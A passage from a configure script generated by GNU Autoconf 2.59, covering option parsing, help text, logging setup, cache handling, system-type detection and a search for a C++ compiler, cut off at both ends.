-sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \ | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \ | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \ | --sha=* | --sh=*) sharedstatedir=$ac_optarg ;; -site | --site | --sit) ac_prev=site ;; -site=* | --site=* | --sit=*) site=$ac_optarg ;; -srcdir | --srcdir | --srcdi | --srcd | --src | --sr) ac_prev=srcdir ;; -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*) srcdir=$ac_optarg ;; -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \ | --syscon | --sysco | --sysc | --sys | --sy) ac_prev=sysconfdir ;; -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \ | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*) sysconfdir=$ac_optarg ;; -target | --target | --targe | --targ | --tar | --ta | --t) ac_prev=target_alias ;; -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*) target_alias=$ac_optarg ;; -v | -verbose | --verbose | --verbos | --verbo | --verb) verbose=yes ;; -version | --version | --versio | --versi | --vers | -V) ac_init_version=: ;; -with-* | --with-*) ac_package=`expr "x$ac_option" : 'x-*with-\([^=]*\)'` # Reject names that are not valid shell variable names. expr "x$ac_package" : ".*[^-_$as_cr_alnum]" >/dev/null && { echo "$as_me: error: invalid package name: $ac_package" >&2 { (exit 1); exit 1; }; } ac_package=`echo $ac_package| sed 's/-/_/g'` case $ac_option in *=*) ac_optarg=`echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"`;; *) ac_optarg=yes ;; esac eval "with_$ac_package='$ac_optarg'" ;; -without-* | --without-*) ac_package=`expr "x$ac_option" : 'x-*without-\(.*\)'` # Reject names that are not valid shell variable names. expr "x$ac_package" : ".*[^-_$as_cr_alnum]" >/dev/null && { echo "$as_me: error: invalid package name: $ac_package" >&2 { (exit 1); exit 1; }; } ac_package=`echo $ac_package | sed 's/-/_/g'` eval "with_$ac_package=no" ;; --x) # Obsolete; use --with-x. with_x=yes ;; -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \ | --x-incl | --x-inc | --x-in | --x-i) ac_prev=x_includes ;; -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \ | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*) x_includes=$ac_optarg ;; -x-libraries | --x-libraries | --x-librarie | --x-librari \ | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l) ac_prev=x_libraries ;; -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \ | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*) x_libraries=$ac_optarg ;; -*) { echo "$as_me: error: unrecognized option: $ac_option Try \`$0 --help' for more information." >&2 { (exit 1); exit 1; }; } ;; *=*) ac_envvar=`expr "x$ac_option" : 'x\([^=]*\)='` # Reject names that are not valid shell variable names. expr "x$ac_envvar" : ".*[^_$as_cr_alnum]" >/dev/null && { echo "$as_me: error: invalid variable name: $ac_envvar" >&2 { (exit 1); exit 1; }; } ac_optarg=`echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"` eval "$ac_envvar='$ac_optarg'" export $ac_envvar ;; *) # FIXME: should be removed in autoconf 3.0. echo "$as_me: WARNING: you should use --build, --host, --target" >&2 expr "x$ac_option" : ".*[^-._$as_cr_alnum]" >/dev/null && echo "$as_me: WARNING: invalid host type: $ac_option" >&2 : ${build_alias=$ac_option} ${host_alias=$ac_option} ${target_alias=$ac_option} ;; esac done if test -n "$ac_prev"; then ac_option=--`echo $ac_prev | sed 's/_/-/g'` { echo "$as_me: error: missing argument to $ac_option" >&2 { (exit 1); exit 1; }; } fi # Be sure to have absolute paths. for ac_var in exec_prefix prefix do eval ac_val=$`echo $ac_var` case $ac_val in [\\/$]* | ?:[\\/]* | NONE | '' ) ;; *) { echo "$as_me: error: expected an absolute directory name for --$ac_var: $ac_val" >&2 { (exit 1); exit 1; }; };; esac done # Be sure to have absolute paths. for ac_var in bindir sbindir libexecdir datadir sysconfdir sharedstatedir \ localstatedir libdir includedir oldincludedir infodir mandir do eval ac_val=$`echo $ac_var` case $ac_val in [\\/$]* | ?:[\\/]* ) ;; *) { echo "$as_me: error: expected an absolute directory name for --$ac_var: $ac_val" >&2 { (exit 1); exit 1; }; };; esac done # There might be people who depend on the old broken behavior: `$host' # used to hold the argument of --host etc. # FIXME: To remove some day. build=$build_alias host=$host_alias target=$target_alias # FIXME: To remove some day. if test "x$host_alias" != x; then if test "x$build_alias" = x; then cross_compiling=maybe echo "$as_me: WARNING: If you wanted to set the --build type, don't use --host. If a cross compiler is detected then cross compile mode will be used." >&2 elif test "x$build_alias" != "x$host_alias"; then cross_compiling=yes fi fi ac_tool_prefix= test -n "$host_alias" && ac_tool_prefix=$host_alias- test "$silent" = yes && exec 6>/dev/null # Find the source files, if location was not specified. if test -z "$srcdir"; then ac_srcdir_defaulted=yes # Try the directory containing this script, then its parent. ac_confdir=`(dirname "$0") 2>/dev/null || $as_expr X"$0" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$0" : 'X\(//\)[^/]' \| \ X"$0" : 'X\(//\)$' \| \ X"$0" : 'X\(/\)' \| \ . : '\(.\)' 2>/dev/null || echo X"$0" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } /^X\(\/\/\)[^/].*/{ s//\1/; q; } /^X\(\/\/\)$/{ s//\1/; q; } /^X\(\/\).*/{ s//\1/; q; } s/.*/./; q'` srcdir=$ac_confdir if test ! -r $srcdir/$ac_unique_file; then srcdir=.. fi else ac_srcdir_defaulted=no fi if test ! -r $srcdir/$ac_unique_file; then if test "$ac_srcdir_defaulted" = yes; then { echo "$as_me: error: cannot find sources ($ac_unique_file) in $ac_confdir or .." >&2 { (exit 1); exit 1; }; } else { echo "$as_me: error: cannot find sources ($ac_unique_file) in $srcdir" >&2 { (exit 1); exit 1; }; } fi fi (cd $srcdir && test -r ./$ac_unique_file) 2>/dev/null || { echo "$as_me: error: sources are in $srcdir, but \`cd $srcdir' does not work" >&2 { (exit 1); exit 1; }; } srcdir=`echo "$srcdir" | sed 's%\([^\\/]\)[\\/]*$%\1%'` ac_env_build_alias_set=${build_alias+set} ac_env_build_alias_value=$build_alias ac_cv_env_build_alias_set=${build_alias+set} ac_cv_env_build_alias_value=$build_alias ac_env_host_alias_set=${host_alias+set} ac_env_host_alias_value=$host_alias ac_cv_env_host_alias_set=${host_alias+set} ac_cv_env_host_alias_value=$host_alias ac_env_target_alias_set=${target_alias+set} ac_env_target_alias_value=$target_alias ac_cv_env_target_alias_set=${target_alias+set} ac_cv_env_target_alias_value=$target_alias ac_env_CXX_set=${CXX+set} ac_env_CXX_value=$CXX ac_cv_env_CXX_set=${CXX+set} ac_cv_env_CXX_value=$CXX ac_env_CXXFLAGS_set=${CXXFLAGS+set} ac_env_CXXFLAGS_value=$CXXFLAGS ac_cv_env_CXXFLAGS_set=${CXXFLAGS+set} ac_cv_env_CXXFLAGS_value=$CXXFLAGS ac_env_LDFLAGS_set=${LDFLAGS+set} ac_env_LDFLAGS_value=$LDFLAGS ac_cv_env_LDFLAGS_set=${LDFLAGS+set} ac_cv_env_LDFLAGS_value=$LDFLAGS ac_env_CPPFLAGS_set=${CPPFLAGS+set} ac_env_CPPFLAGS_value=$CPPFLAGS ac_cv_env_CPPFLAGS_set=${CPPFLAGS+set} ac_cv_env_CPPFLAGS_value=$CPPFLAGS ac_env_CC_set=${CC+set} ac_env_CC_value=$CC ac_cv_env_CC_set=${CC+set} ac_cv_env_CC_value=$CC ac_env_CFLAGS_set=${CFLAGS+set} ac_env_CFLAGS_value=$CFLAGS ac_cv_env_CFLAGS_set=${CFLAGS+set} ac_cv_env_CFLAGS_value=$CFLAGS ac_env_CPP_set=${CPP+set} ac_env_CPP_value=$CPP ac_cv_env_CPP_set=${CPP+set} ac_cv_env_CPP_value=$CPP # # Report the --help message. # if test "$ac_init_help" = "long"; then # Omit some internal or obsolete options to make the list less imposing. # This message is too long to be a string in the A/UX 3.1 sh. cat <<_ACEOF \`configure' configures this package to adapt to many kinds of systems. Usage: $0 [OPTION]... [VAR=VALUE]... To assign environment variables (e.g., CC, CFLAGS...), specify them as VAR=VALUE. See below for descriptions of some of the useful variables. Defaults for the options are specified in brackets. Configuration: -h, --help display this help and exit --help=short display options specific to this package --help=recursive display the short help of all the included packages -V, --version display version information and exit -q, --quiet, --silent do not print \`checking...' messages --cache-file=FILE cache test results in FILE [disabled] -C, --config-cache alias for \`--cache-file=config.cache' -n, --no-create do not create output files --srcdir=DIR find the sources in DIR [configure dir or \`..'] _ACEOF cat <<_ACEOF Installation directories: --prefix=PREFIX install architecture-independent files in PREFIX [$ac_default_prefix] --exec-prefix=EPREFIX install architecture-dependent files in EPREFIX [PREFIX] By default, \`make install' will install all the files in \`$ac_default_prefix/bin', \`$ac_default_prefix/lib' etc. You can specify an installation prefix other than \`$ac_default_prefix' using \`--prefix', for instance \`--prefix=\$HOME'. For better control, use the options below. Fine tuning of the installation directories: --bindir=DIR user executables [EPREFIX/bin] --sbindir=DIR system admin executables [EPREFIX/sbin] --libexecdir=DIR program executables [EPREFIX/libexec] --datadir=DIR read-only architecture-independent data [PREFIX/share] --sysconfdir=DIR read-only single-machine data [PREFIX/etc] --sharedstatedir=DIR modifiable architecture-independent data [PREFIX/com] --localstatedir=DIR modifiable single-machine data [PREFIX/var] --libdir=DIR object code libraries [EPREFIX/lib] --includedir=DIR C header files [PREFIX/include] --oldincludedir=DIR C header files for non-gcc [/usr/include] --infodir=DIR info documentation [PREFIX/info] --mandir=DIR man documentation [PREFIX/man] _ACEOF cat <<\_ACEOF System types: --build=BUILD configure for building on BUILD [guessed] --host=HOST cross-compile to build programs to run on HOST [BUILD] _ACEOF fi if test -n "$ac_init_help"; then cat <<\_ACEOF Some influential environment variables: CXX C++ compiler command CXXFLAGS C++ compiler flags LDFLAGS linker flags, e.g. -L if you have libraries in a nonstandard directory CPPFLAGS C/C++ preprocessor flags, e.g. -I if you have headers in a nonstandard directory CC C compiler command CFLAGS C compiler flags CPP C preprocessor Use these variables to override the choices made by `configure' or to help it to find libraries and programs with nonstandard names/locations. _ACEOF fi if test "$ac_init_help" = "recursive"; then # If there are subdirs, report their specific --help. ac_popdir=`pwd` for ac_dir in : $ac_subdirs_all; do test "x$ac_dir" = x: && continue test -d $ac_dir || continue ac_builddir=. if test "$ac_dir" != .; then ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'` # A "../" for each directory in $ac_dir_suffix. ac_top_builddir=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,../,g'` else ac_dir_suffix= ac_top_builddir= fi case $srcdir in .) # No --srcdir option. We are building in place. ac_srcdir=. if test -z "$ac_top_builddir"; then ac_top_srcdir=. else ac_top_srcdir=`echo $ac_top_builddir | sed 's,/$,,'` fi ;; [\\/]* | ?:[\\/]* ) # Absolute path. ac_srcdir=$srcdir$ac_dir_suffix; ac_top_srcdir=$srcdir ;; *) # Relative path. ac_srcdir=$ac_top_builddir$srcdir$ac_dir_suffix ac_top_srcdir=$ac_top_builddir$srcdir ;; esac # Do not use `cd foo && pwd` to compute absolute paths, because # the directories may not exist. case `pwd` in .) ac_abs_builddir="$ac_dir";; *) case "$ac_dir" in .) ac_abs_builddir=`pwd`;; [\\/]* | ?:[\\/]* ) ac_abs_builddir="$ac_dir";; *) ac_abs_builddir=`pwd`/"$ac_dir";; esac;; esac case $ac_abs_builddir in .) ac_abs_top_builddir=${ac_top_builddir}.;; *) case ${ac_top_builddir}. in .) ac_abs_top_builddir=$ac_abs_builddir;; [\\/]* | ?:[\\/]* ) ac_abs_top_builddir=${ac_top_builddir}.;; *) ac_abs_top_builddir=$ac_abs_builddir/${ac_top_builddir}.;; esac;; esac case $ac_abs_builddir in .) ac_abs_srcdir=$ac_srcdir;; *) case $ac_srcdir in .) ac_abs_srcdir=$ac_abs_builddir;; [\\/]* | ?:[\\/]* ) ac_abs_srcdir=$ac_srcdir;; *) ac_abs_srcdir=$ac_abs_builddir/$ac_srcdir;; esac;; esac case $ac_abs_builddir in .) ac_abs_top_srcdir=$ac_top_srcdir;; *) case $ac_top_srcdir in .) ac_abs_top_srcdir=$ac_abs_builddir;; [\\/]* | ?:[\\/]* ) ac_abs_top_srcdir=$ac_top_srcdir;; *) ac_abs_top_srcdir=$ac_abs_builddir/$ac_top_srcdir;; esac;; esac cd $ac_dir # Check for guested configure; otherwise get Cygnus style configure. if test -f $ac_srcdir/configure.gnu; then echo $SHELL $ac_srcdir/configure.gnu --help=recursive elif test -f $ac_srcdir/configure; then echo $SHELL $ac_srcdir/configure --help=recursive elif test -f $ac_srcdir/configure.ac || test -f $ac_srcdir/configure.in; then echo $ac_configure --help else echo "$as_me: WARNING: no configuration information is in $ac_dir" >&2 fi cd $ac_popdir done fi test -n "$ac_init_help" && exit 0 if $ac_init_version; then cat <<\_ACEOF Copyright (C) 2003 Free Software Foundation, Inc. This configure script is free software; the Free Software Foundation gives unlimited permission to copy, distribute and modify it. _ACEOF exit 0 fi exec 5>config.log cat >&5 <<_ACEOF This file contains any messages produced by compilers while running configure, to aid debugging if configure makes a mistake. It was created by $as_me, which was generated by GNU Autoconf 2.59. Invocation command line was $ $0 $@ _ACEOF { cat <<_ASUNAME ## --------- ## ## Platform. ## ## --------- ## hostname = `(hostname || uname -n) 2>/dev/null | sed 1q` uname -m = `(uname -m) 2>/dev/null || echo unknown` uname -r = `(uname -r) 2>/dev/null || echo unknown` uname -s = `(uname -s) 2>/dev/null || echo unknown` uname -v = `(uname -v) 2>/dev/null || echo unknown` /usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null || echo unknown` /bin/uname -X = `(/bin/uname -X) 2>/dev/null || echo unknown` /bin/arch = `(/bin/arch) 2>/dev/null || echo unknown` /usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null || echo unknown` /usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null || echo unknown` hostinfo = `(hostinfo) 2>/dev/null || echo unknown` /bin/machine = `(/bin/machine) 2>/dev/null || echo unknown` /usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null || echo unknown` /bin/universe = `(/bin/universe) 2>/dev/null || echo unknown` _ASUNAME as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. echo "PATH: $as_dir" done } >&5 cat >&5 <<_ACEOF ## ----------- ## ## Core tests. ## ## ----------- ## _ACEOF # Keep a trace of the command line. # Strip out --no-create and --no-recursion so they do not pile up. # Strip out --silent because we don't want to record it for future runs. # Also quote any args containing shell meta-characters. # Make two passes to allow for proper duplicate-argument suppression. ac_configure_args= ac_configure_args0= ac_configure_args1= ac_sep= ac_must_keep_next=false for ac_pass in 1 2 do for ac_arg do case $ac_arg in -no-create | --no-c* | -n | -no-recursion | --no-r*) continue ;; -q | -quiet | --quiet | --quie | --qui | --qu | --q \ | -silent | --silent | --silen | --sile | --sil) continue ;; *" "*|*" "*|*[\[\]\~\#\$\^\&\*\(\)\{\}\\\|\;\<\>\?\"\']*) ac_arg=`echo "$ac_arg" | sed "s/'/'\\\\\\\\''/g"` ;; esac case $ac_pass in 1) ac_configure_args0="$ac_configure_args0 '$ac_arg'" ;; 2) ac_configure_args1="$ac_configure_args1 '$ac_arg'" if test $ac_must_keep_next = true; then ac_must_keep_next=false # Got value, back to normal. else case $ac_arg in *=* | --config-cache | -C | -disable-* | --disable-* \ | -enable-* | --enable-* | -gas | --g* | -nfp | --nf* \ | -q | -quiet | --q* | -silent | --sil* | -v | -verb* \ | -with-* | --with-* | -without-* | --without-* | --x) case "$ac_configure_args0 " in "$ac_configure_args1"*" '$ac_arg' "* ) continue ;; esac ;; -* ) ac_must_keep_next=true ;; esac fi ac_configure_args="$ac_configure_args$ac_sep'$ac_arg'" # Get rid of the leading space. ac_sep=" " ;; esac done done $as_unset ac_configure_args0 || test "${ac_configure_args0+set}" != set || { ac_configure_args0=; export ac_configure_args0; } $as_unset ac_configure_args1 || test "${ac_configure_args1+set}" != set || { ac_configure_args1=; export ac_configure_args1; } # When interrupted or exit'd, cleanup temporary files, and complete # config.log. We remove comments because anyway the quotes in there # would cause problems or look ugly. # WARNING: Be sure not to use single quotes in there, as some shells, # such as our DU 5.0 friend, will then `close' the trap. trap 'exit_status=$? # Save into config.log some information that might help in debugging. { echo cat <<\_ASBOX ## ---------------- ## ## Cache variables. ## ## ---------------- ## _ASBOX echo # The following way of writing the cache mishandles newlines in values, { (set) 2>&1 | case `(ac_space='"'"' '"'"'; set | grep ac_space) 2>&1` in *ac_space=\ *) sed -n \ "s/'"'"'/'"'"'\\\\'"'"''"'"'/g; s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='"'"'\\2'"'"'/p" ;; *) sed -n \ "s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1=\\2/p" ;; esac; } echo cat <<\_ASBOX ## ----------------- ## ## Output variables. ## ## ----------------- ## _ASBOX echo for ac_var in $ac_subst_vars do eval ac_val=$`echo $ac_var` echo "$ac_var='"'"'$ac_val'"'"'" done | sort echo if test -n "$ac_subst_files"; then cat <<\_ASBOX ## ------------- ## ## Output files. ## ## ------------- ## _ASBOX echo for ac_var in $ac_subst_files do eval ac_val=$`echo $ac_var` echo "$ac_var='"'"'$ac_val'"'"'" done | sort echo fi if test -s confdefs.h; then cat <<\_ASBOX ## ----------- ## ## confdefs.h. ## ## ----------- ## _ASBOX echo sed "/^$/d" confdefs.h | sort echo fi test "$ac_signal" != 0 && echo "$as_me: caught signal $ac_signal" echo "$as_me: exit $exit_status" } >&5 rm -f core *.core && rm -rf conftest* confdefs* conf$$* $ac_clean_files && exit $exit_status ' 0 for ac_signal in 1 2 13 15; do trap 'ac_signal='$ac_signal'; { (exit 1); exit 1; }' $ac_signal done ac_signal=0 # confdefs.h avoids OS command line length limits that DEFS can exceed. rm -rf conftest* confdefs.h # AIX cpp loses on an empty file, so make sure it contains at least a newline. echo >confdefs.h # Predefined preprocessor variables. cat >>confdefs.h <<_ACEOF #define PACKAGE_NAME "$PACKAGE_NAME" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_TARNAME "$PACKAGE_TARNAME" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_VERSION "$PACKAGE_VERSION" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_STRING "$PACKAGE_STRING" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_BUGREPORT "$PACKAGE_BUGREPORT" _ACEOF # Let the site file select an alternate cache file if it wants to. # Prefer explicitly selected file to automatically selected ones. if test -z "$CONFIG_SITE"; then if test "x$prefix" != xNONE; then CONFIG_SITE="$prefix/share/config.site $prefix/etc/config.site" else CONFIG_SITE="$ac_default_prefix/share/config.site $ac_default_prefix/etc/config.site" fi fi for ac_site_file in $CONFIG_SITE; do if test -r "$ac_site_file"; then { echo "$as_me:$LINENO: loading site script $ac_site_file" >&5 echo "$as_me: loading site script $ac_site_file" >&6;} sed 's/^/| /' "$ac_site_file" >&5 . "$ac_site_file" fi done if test -r "$cache_file"; then # Some versions of bash will fail to source /dev/null (special # files actually), so we avoid doing that. if test -f "$cache_file"; then { echo "$as_me:$LINENO: loading cache $cache_file" >&5 echo "$as_me: loading cache $cache_file" >&6;} case $cache_file in [\\/]* | ?:[\\/]* ) . $cache_file;; *) . ./$cache_file;; esac fi else { echo "$as_me:$LINENO: creating cache $cache_file" >&5 echo "$as_me: creating cache $cache_file" >&6;} >$cache_file fi # Check that the precious variables saved in the cache have kept the same # value. ac_cache_corrupted=false for ac_var in `(set) 2>&1 | sed -n 's/^ac_env_\([a-zA-Z_0-9]*\)_set=.*/\1/p'`; do eval ac_old_set=\$ac_cv_env_${ac_var}_set eval ac_new_set=\$ac_env_${ac_var}_set eval ac_old_val="\$ac_cv_env_${ac_var}_value" eval ac_new_val="\$ac_env_${ac_var}_value" case $ac_old_set,$ac_new_set in set,) { echo "$as_me:$LINENO: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&5 echo "$as_me: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&2;} ac_cache_corrupted=: ;; ,set) { echo "$as_me:$LINENO: error: \`$ac_var' was not set in the previous run" >&5 echo "$as_me: error: \`$ac_var' was not set in the previous run" >&2;} ac_cache_corrupted=: ;; ,);; *) if test "x$ac_old_val" != "x$ac_new_val"; then { echo "$as_me:$LINENO: error: \`$ac_var' has changed since the previous run:" >&5 echo "$as_me: error: \`$ac_var' has changed since the previous run:" >&2;} { echo "$as_me:$LINENO: former value: $ac_old_val" >&5 echo "$as_me: former value: $ac_old_val" >&2;} { echo "$as_me:$LINENO: current value: $ac_new_val" >&5 echo "$as_me: current value: $ac_new_val" >&2;} ac_cache_corrupted=: fi;; esac # Pass precious variables to config.status. if test "$ac_new_set" = set; then case $ac_new_val in *" "*|*" "*|*[\[\]\~\#\$\^\&\*\(\)\{\}\\\|\;\<\>\?\"\']*) ac_arg=$ac_var=`echo "$ac_new_val" | sed "s/'/'\\\\\\\\''/g"` ;; *) ac_arg=$ac_var=$ac_new_val ;; esac case " $ac_configure_args " in *" '$ac_arg' "*) ;; # Avoid dups. Use of quotes ensures accuracy. *) ac_configure_args="$ac_configure_args '$ac_arg'" ;; esac fi done if $ac_cache_corrupted; then { echo "$as_me:$LINENO: error: changes in the environment can compromise the build" >&5 echo "$as_me: error: changes in the environment can compromise the build" >&2;} { { echo "$as_me:$LINENO: error: run \`make distclean' and/or \`rm $cache_file' and start over" >&5 echo "$as_me: error: run \`make distclean' and/or \`rm $cache_file' and start over" >&2;} { (exit 1); exit 1; }; } fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu ac_config_headers="$ac_config_headers config.h" ac_aux_dir= for ac_dir in cfgaux $srcdir/cfgaux; do if test -f $ac_dir/install-sh; then ac_aux_dir=$ac_dir ac_install_sh="$ac_aux_dir/install-sh -c" break elif test -f $ac_dir/install.sh; then ac_aux_dir=$ac_dir ac_install_sh="$ac_aux_dir/install.sh -c" break elif test -f $ac_dir/shtool; then ac_aux_dir=$ac_dir ac_install_sh="$ac_aux_dir/shtool install -c" break fi done if test -z "$ac_aux_dir"; then { { echo "$as_me:$LINENO: error: cannot find install-sh or install.sh in cfgaux $srcdir/cfgaux" >&5 echo "$as_me: error: cannot find install-sh or install.sh in cfgaux $srcdir/cfgaux" >&2;} { (exit 1); exit 1; }; } fi ac_config_guess="$SHELL $ac_aux_dir/config.guess" ac_config_sub="$SHELL $ac_aux_dir/config.sub" ac_configure="$SHELL $ac_aux_dir/configure" # This should be Cygnus configure. # Make sure we can run config.sub. $ac_config_sub sun4 >/dev/null 2>&1 || { { echo "$as_me:$LINENO: error: cannot run $ac_config_sub" >&5 echo "$as_me: error: cannot run $ac_config_sub" >&2;} { (exit 1); exit 1; }; } echo "$as_me:$LINENO: checking build system type" >&5 echo $ECHO_N "checking build system type... $ECHO_C" >&6 if test "${ac_cv_build+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else ac_cv_build_alias=$build_alias test -z "$ac_cv_build_alias" && ac_cv_build_alias=`$ac_config_guess` test -z "$ac_cv_build_alias" && { { echo "$as_me:$LINENO: error: cannot guess build type; you must specify one" >&5 echo "$as_me: error: cannot guess build type; you must specify one" >&2;} { (exit 1); exit 1; }; } ac_cv_build=`$ac_config_sub $ac_cv_build_alias` || { { echo "$as_me:$LINENO: error: $ac_config_sub $ac_cv_build_alias failed" >&5 echo "$as_me: error: $ac_config_sub $ac_cv_build_alias failed" >&2;} { (exit 1); exit 1; }; } fi echo "$as_me:$LINENO: result: $ac_cv_build" >&5 echo "${ECHO_T}$ac_cv_build" >&6 build=$ac_cv_build build_cpu=`echo $ac_cv_build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'` build_vendor=`echo $ac_cv_build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'` build_os=`echo $ac_cv_build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'` echo "$as_me:$LINENO: checking host system type" >&5 echo $ECHO_N "checking host system type... $ECHO_C" >&6 if test "${ac_cv_host+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else ac_cv_host_alias=$host_alias test -z "$ac_cv_host_alias" && ac_cv_host_alias=$ac_cv_build_alias ac_cv_host=`$ac_config_sub $ac_cv_host_alias` || { { echo "$as_me:$LINENO: error: $ac_config_sub $ac_cv_host_alias failed" >&5 echo "$as_me: error: $ac_config_sub $ac_cv_host_alias failed" >&2;} { (exit 1); exit 1; }; } fi echo "$as_me:$LINENO: result: $ac_cv_host" >&5 echo "${ECHO_T}$ac_cv_host" >&6 host=$ac_cv_host host_cpu=`echo $ac_cv_host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'` host_vendor=`echo $ac_cv_host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'` host_os=`echo $ac_cv_host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'` ac_ext=cc ac_cpp='$CXXCPP $CPPFLAGS' ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_cxx_compiler_gnu if test -n "$ac_tool_prefix"; then for ac_prog in $CCC g++ c++ gpp aCC CC cxx cc++ cl FCC KCC RCC xlC_r xlC do # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. set dummy $ac_tool_prefix$ac_prog; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_CXX+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$CXX"; then ac_cv_prog_CXX="$CXX" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_CXX="$ac_tool_prefix$ac_prog" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi CXX=$ac_cv_prog_CXX if test -n "$CXX"; then echo "$as_me:$LINENO: result: $CXX" >&5 echo "${ECHO_T}$CXX" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi test -n "$CXX" && break done fi if test -z "$CXX"; then ac_ct_CXX=$CXX for ac_prog in $CCC g++ c++ gpp aCC CC cxx cc++ cl FCC KCC RCC xlC_r xlC do # Extract the first word of "$ac_prog", so it can be a program name with args. set dummy $ac_prog; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_ac_ct_CXX+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$ac_ct_CXX"; then ac_cv_prog_ac_ct_CXX="$ac_ct_CXX" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ac_ct_CXX="$ac_prog" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi ac_ct_CXX=$ac_cv_prog_ac_ct_CXX if test -n "$ac_ct_CXX"; then echo "$as_me:$LINENO: result: $ac_ct_CXX" >&5 echo "${ECHO_T}$ac_ct_CXX" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi test -n "$ac_ct_CXX" && break done test -n "$ac_ct_CXX" || ac_ct_CXX="g++" CXX=$ac_ct_CXX fi # Provide some information about the compiler. echo "$as_me:$LINENO:" \ "checking for C++ compiler version" >&5 ac_compiler=`set X $ac_compile; echo $2` { (eval echo "$as_me:$LINENO: \"$ac_compiler --version &5\"") >&5 (eval $ac_compiler --version &5) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } { (eval echo "$as_me:$LINENO: \"$ac_compiler -v &5\"") >&5 (eval $ac_compiler -v &5) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } { (eval echo "$as_me:$LINENO: \"$ac_compiler -V &5\"") >&5 (eval $ac_compiler -V &5) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { ; return 0; } _ACEOF ac_clean_files_save=$ac_clean_files ac_clean_files="$ac_clean_files a.out a.exe b.out" # Try to create an executable without -o first, disregard a.out. # It will help us 